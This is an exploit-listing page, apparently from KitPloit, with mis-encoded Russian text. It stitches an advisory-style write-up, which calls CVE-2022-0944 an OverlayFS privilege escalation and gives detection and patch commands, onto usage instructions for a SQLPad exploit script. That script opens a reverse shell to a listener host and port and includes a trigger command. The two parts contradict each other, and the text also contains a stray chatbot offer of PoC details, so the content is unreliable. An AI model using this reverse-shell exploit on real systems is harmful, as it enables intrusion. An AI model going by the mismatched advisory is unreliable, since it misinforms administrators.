## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NEOARTEMIS37-OVERLAYFS-PRIVESC-CVE-2022-0944
# CVE-2022-0944: Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Π² OverlayFS π‘οΈ
 
Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°ΡΠΈΠΈ ΠΏΠΎ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ ΠΈ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎ ΠΏΠΎ ΡΠΌΡΠ³ΡΠ΅Π½ΠΈΡ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΠ²ΠΈΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Π² ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌΠ΅ OverlayFS ΡΠ΄ΡΠ° Linux.
## ΠΠ±Π·ΠΎΡ
**CVE-2022-0944** β ΡΡΠΎ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ Π² ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌΠ΅ OverlayFS ΡΠ΄ΡΠ° Linux, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π»ΠΎΠΊΠ°Π»ΡΠ½ΡΠΌ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΠΏΠΎΠ²ΡΡΠ°ΡΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ ΠΈΠ·-Π·Π° Π½Π΅ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎΠΉ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΡΠ°ΠΉΠ»ΠΎΠ² Π² ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΠ½Π½ΡΡ
ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΡ
.
## Π’Π΅Ρ
Π½ΠΈΡΠ΅ΡΠΊΠΈΠ΅ Π΄Π΅ΡΠ°Π»ΠΈ

π¨ ΠΠ»ΠΈΡΠ½ΠΈΠ΅
ΠΠΎΠΊΠ°Π»ΡΠ½ΡΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ:
root@kitploit:~
ΠΠΎΠ»ΡΡΠΈΡΡ ΠΏΡΠ°Π²Π° root Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΌΠ°Π½ΠΈΠΏΡΠ»ΡΡΠΈΠΉ Ρ ΡΠ°ΠΉΠ»Π°ΠΌΠΈ
ΠΠ±ΠΎΠΉΡΠΈ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΡ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ
ΠΠ·ΠΌΠ΅Π½ΠΈΡΡ ΠΊΡΠΈΡΠΈΡΠ΅ΡΠΊΠΈ Π²Π°ΠΆΠ½ΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠ½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ
ΠΠΎΠ»Π½ΠΎΡΡΡΡ ΡΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠΎΠ²Π°ΡΡ ΡΠ΅Π»ΠΎΡΡΠ½ΠΎΡΡΡ ΡΠΈΡΡΠ΅ΠΌΡ
π ΠΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΠ΅
1. ΠΡΠΎΠ²Π΅ΡΠΊΠ° Π²Π΅ΡΡΠΈΠΈ ΡΠ΄ΡΠ° uname -r
# ΠΠ°ΡΡΠ°Π³ΠΈΠ²Π°Π΅ΠΌΡΠ΅ Π²Π΅ΡΡΠΈΠΈ: 5.8 <= ΡΠ΄ΡΠΎ < 5.16.12
2. ΠΡΠΎΠ²Π΅ΡΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ OverlayFS mount | grep overlay
# Π‘ΠΈΡΡΠ΅ΠΌΡ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΠΈΠ΅ ΠΌΠΎΠ½ΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ OverlayFS, Π½Π°Ρ
ΠΎΠ΄ΡΡΡΡ ΠΏΠΎΠ΄ ΡΠ³ΡΠΎΠ·ΠΎΠΉ
3. ΠΡΠΎΠ²Π΅ΡΠΊΠ° ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°ΡΠΈΠΉ ΠΏΠΎ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ
# ΠΠ»Ρ Debian/Ubuntu:
root@kitploit:~
grep CVE-2022-0944 /var/log/apt/history.log
# ΠΠ»Ρ RHEL/CentOS:
rpm -q --changelog kernel | grep CVE-2022-0944
4\. π‘οΈ Π‘ΠΌΡΠ³ΡΠ΅Π½ΠΈΠ΅ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΠ²ΠΈΠΉ
ΠΡΠΈΡΠΈΠ°Π»ΡΠ½ΡΠ΅ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ
ΠΠ±Π½ΠΎΠ²ΠΈΡΠ΅ΡΡ Π΄ΠΎ ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· ΡΡΠΈΡ
ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½Π½ΡΡ
Π²Π΅ΡΡΠΈΠΉ:
root@kitploit:~
Π―Π΄ΡΠΎ Linux 5.16.12 ΠΈΠ»ΠΈ Π½ΠΎΠ²Π΅Π΅
Π‘ΠΏΠ΅ΡΠΈΡΠΈΡΠ½ΡΠ΅ Π΄Π»Ρ Π²Π΅Π½Π΄ΠΎΡΠ° Π±ΡΠΊΠΏΠΎΡΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠ΅ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ
ΠΠΎΠΌΠ°Π½Π΄Π° ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ:
# Ubuntu/Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
# RHEL/CentOS
sudo yum update kernel
ΠΠ±Ρ
ΠΎΠ΄Π½ΡΠ΅ ΠΏΡΡΠΈ (Π΅ΡΠ»ΠΈ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΡΠ°Π·Ρ)
root@kitploit:~
ΠΠ³ΡΠ°Π½ΠΈΡΠΈΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ OverlayFS:
sudo modprobe -r overlay
ΠΠ½Π΅Π΄ΡΠΈΡΡ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΡ ΠΏΡΠΎΡΡΡΠ°Π½ΡΡΠ² ΠΈΠΌΡΠ½:
# Π‘ΠΎΠ·Π΄Π°ΡΡ Π½Π΅ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ΅ ΠΏΡΠΎΡΡΡΠ°Π½ΡΡΠ²ΠΎ ΠΈΠΌΡΠ½ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ unshare -Ur
root@kitploit:~
# Π‘ΠΌΠΎΠ½ΡΠΈΡΠΎΠ²Π°ΡΡ Ρ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΡΠΌΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ
mount -t overlay -o lowerdir=/lower,upperdir=/upper,workdir=/work overlay /mnt
ΠΡΠΈΠΌΠ΅Π½ΠΈΡΡ ΠΏΠΎΠ»ΠΈΡΠΈΠΊΠΈ SELinux/AppArmor: type=AVC msg=audit(1647452829.123:456): user pid=1234 comm="mount" scontext=user_u:user_r:user_t tcontext=system_u:object_r:unlabeled_t denied { mounton }
β οΈ ΠΡΠΊΠ°Π· ΠΎΡ ΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎΡΡΠΈ ΠΡΠΎΡ Π΄ΠΎΠΊΡΠΌΠ΅Π½Ρ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»Π΅Π½ ΠΈΡΠΊΠ»ΡΡΠΈΡΠ΅Π»ΡΠ½ΠΎ Π² ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΎΠ½Π½ΡΡ
ΡΠ΅Π»ΡΡ
. Π₯ΠΎΡΡ Π±ΡΠ»ΠΈ ΠΏΡΠ΅Π΄ΠΏΡΠΈΠ½ΡΡΡ ΡΡΠΈΠ»ΠΈΡ Π΄Π»Ρ ΠΎΠ±Π΅ΡΠΏΠ΅ΡΠ΅Π½ΠΈΡ ΡΠΎΡΠ½ΠΎΡΡΠΈ, Π³Π°ΡΠ°Π½ΡΠΈΡ Π½Π΅ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅ΡΡΡ. ΠΡΠ΅Π³Π΄Π° ΡΠ΅ΡΡΠΈΡΡΠΉΡΠ΅ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ Π² ΡΡΠ΅Π΄Π΅ ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠΈ ΠΏΠ΅ΡΠ΅Π΄ ΡΠ°Π·Π²ΡΡΡΡΠ²Π°Π½ΠΈΠ΅ΠΌ Π² ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΡΡΠ²Π΅.
ΠΠΎΡΠ»Π΅Π΄Π½Π΅Π΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅: 2023-10-01 | ΠΡΠΎΡΠΌΠΎΡΡΠ΅ΡΡ ΠΆΡΡΠ½Π°Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ
ΠΠ»ΡΡΠ΅Π²ΡΠ΅ ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡΠΈ:
1. Π§ΡΡΠΊΠ°Ρ ΠΊΠ»Π°ΡΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Ρ Π·Π½Π°ΡΠΊΠ°ΠΌΠΈ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ
2. Π’Π°Π±Π»ΠΈΡΠ° ΡΠ΅Ρ
Π½ΠΈΡΠ΅ΡΠΊΠΈΡ
ΡΠ²Π΅Π΄Π΅Π½ΠΈΠΉ Π΄Π»Ρ Π±ΡΡΡΡΠΎΠ³ΠΎ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠ»Π΅Π½ΠΈΡ
3. ΠΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠ΅ ΡΠ°Π³ΠΈ ΠΏΠΎ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ ΠΈ ΡΠΌΡΠ³ΡΠ΅Π½ΠΈΡ
4. ΠΠΎΠΌΠ°Π½Π΄Ρ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ Π΄Π»Ρ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΡΡ
Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠ²ΠΎΠ²
5. ΠΡΠΈΠΌΠ΅ΡΡ ΠΏΠΎΠ»ΠΈΡΠΈΠΊ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ (SELinux/AppArmor)
6. Π‘ΡΡΠ»ΠΊΠΈ Π½Π° ΠΎΡΠΈΡΠΈΠ°Π»ΡΠ½ΡΠ΅ ΠΈΡΡΠΎΡΠ½ΠΈΠΊΠΈ
7. Π‘ΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΈΠ΅ ΡΡΠ°Π½Π΄Π°ΡΡΠ°ΠΌ ΡΠ°ΡΠΊΡΡΡΠΈΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠ΅ΠΉ
ΠΡΠΎΡ ΡΠΎΡΠΌΠ°Ρ README ΠΏΠΎΠ΄Ρ
ΠΎΠ΄ΠΈΡ Π΄Π»Ρ:
* ΠΡΡΠΏΠΏ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ
* Π‘ΠΈΡΡΠ΅ΠΌΠ½ΡΡ
Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠΎΠ²
* ΠΠ½ΠΆΠ΅Π½Π΅ΡΠΎΠ² DevOps
* ΠΠ΅ΠΉΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΎΠ² ΠΎΡΠΊΡΡΡΠΎΠ³ΠΎ ΠΠ
* ΠΠ°Π· Π΄Π°Π½Π½ΡΡ
ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠ΅ΠΉ
Π₯ΠΎΡΠΈΡΠ΅, ΡΡΠΎΠ±Ρ Ρ:
1. ΠΠΎΠ±Π°Π²ΠΈΠ» ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎΠ± ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡΡ
Π΄Π»Ρ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΠΎΠ³ΠΎ Π²Π΅Π½Π΄ΠΎΡΠ°?
2. ΠΠΊΠ»ΡΡΠΈΠ» Π΄Π΅ΡΠ°Π»ΠΈ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ PoC (Ρ ΠΎΡΡΠΎΡΠΎΠΆΠ½ΠΎΡΡΡΡ)?
3. ΠΠΎΠ±Π°Π²ΠΈΠ» Π±ΠΎΠ»ΡΡΠ΅ ΡΠΊΡΠΈΠΏΡΠΎΠ² ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ?
4. ΠΠ°ΡΡΡΠΎΠΈΠ» ΠΏΠΎΠ΄ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΡΠΉ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠ² Linux?
## ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅
root@kitploit:~
usage: main.py [-h] url lhost lport [username] [password]
positional arguments:
url URL to SQLPad
lhost Listener host address for reverse shell
lport Listener port for reverse shell
username login username (optional)
password login password (optional)
options:
-h, --help show this help message and exit
**ΠΡΠΈΠΌΠ΅Ρ:**
root@kitploit:~
# install requirements
pip install -r requirements.txt
# start sqlpad docker container
docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=admin sqlpad/sqlpad:6.10.0
# trigger exploit
./main.py http://localhost:3000 127.0.0.1 1337 admin admin
# ΠΡΠΊΠ°Π· ΠΎΡ ΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎΡΡΠΈ
ΠΡΠΎΡ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΉ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ ΠΊΠΎΠ΄ ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΡ, ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½Π½ΡΠ΅ ΠΈΡΠΊΠ»ΡΡΠΈΡΠ΅Π»ΡΠ½ΠΎ Π΄Π»Ρ ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΡ
ΡΠ΅Π»Π΅ΠΉ, Π² ΡΠ°ΡΡΠ½ΠΎΡΡΠΈ Π΄Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ Π² ΠΊΡΡΡΠ°Ρ
ΠΏΠΎ ΠΊΠΈΠ±Π΅ΡΠ±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ ΠΈ ΡΡΠ΅Π±Π½ΡΡ
ΡΡΠ΅Π΄Π°Ρ
. ΠΠ²ΡΠΎΡ ΡΡΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π½Π΅ Π½Π΅ΡΡΡ ΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎΡΡΠΈ Π·Π° Π»ΡΠ±ΡΠ΅ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΠ²ΠΈΡ, Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡΡΠΈΠ΅ Π² ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ, Π½Π΅ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎΠ³ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΠΈΠ»ΠΈ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ ΡΡΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. ΠΠΎΠ΄ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅ΡΡΡ Β«ΠΊΠ°ΠΊ Π΅ΡΡΡΒ» Π±Π΅Π· ΠΊΠ°ΠΊΠΈΡ
-Π»ΠΈΠ±ΠΎ Π³Π°ΡΠ°Π½ΡΠΈΠΉ, ΡΠ²Π½ΡΡ
ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΡΠ°Π·ΡΠΌΠ΅Π²Π°Π΅ΠΌΡΡ
, Π²ΠΊΠ»ΡΡΠ°Ρ, Π½ΠΎ Π½Π΅ ΠΎΠ³ΡΠ°Π½ΠΈΡΠΈΠ²Π°ΡΡΡ, ΠΏΠΎΠ΄ΡΠ°Π·ΡΠΌΠ΅Π²Π°Π΅ΠΌΡΠΌΠΈ Π³Π°ΡΠ°Π½ΡΠΈΡΠΌΠΈ ΡΠΎΠ²Π°ΡΠ½ΠΎΠΉ ΠΏΡΠΈΠ³ΠΎΠ΄Π½ΠΎΡΡΠΈ ΠΈΠ»ΠΈ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΈΡ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΠΎΠΉ ΡΠ΅Π»ΠΈ.